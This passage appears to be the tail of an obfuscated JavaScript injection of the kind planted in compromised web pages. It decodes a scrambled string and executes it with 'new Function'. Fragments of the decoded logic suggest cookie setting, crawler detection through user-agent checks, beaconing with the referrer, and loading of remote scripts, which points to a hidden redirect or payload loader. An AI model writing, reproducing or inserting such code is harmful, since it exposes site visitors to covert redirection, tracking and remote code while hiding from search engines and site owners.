0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();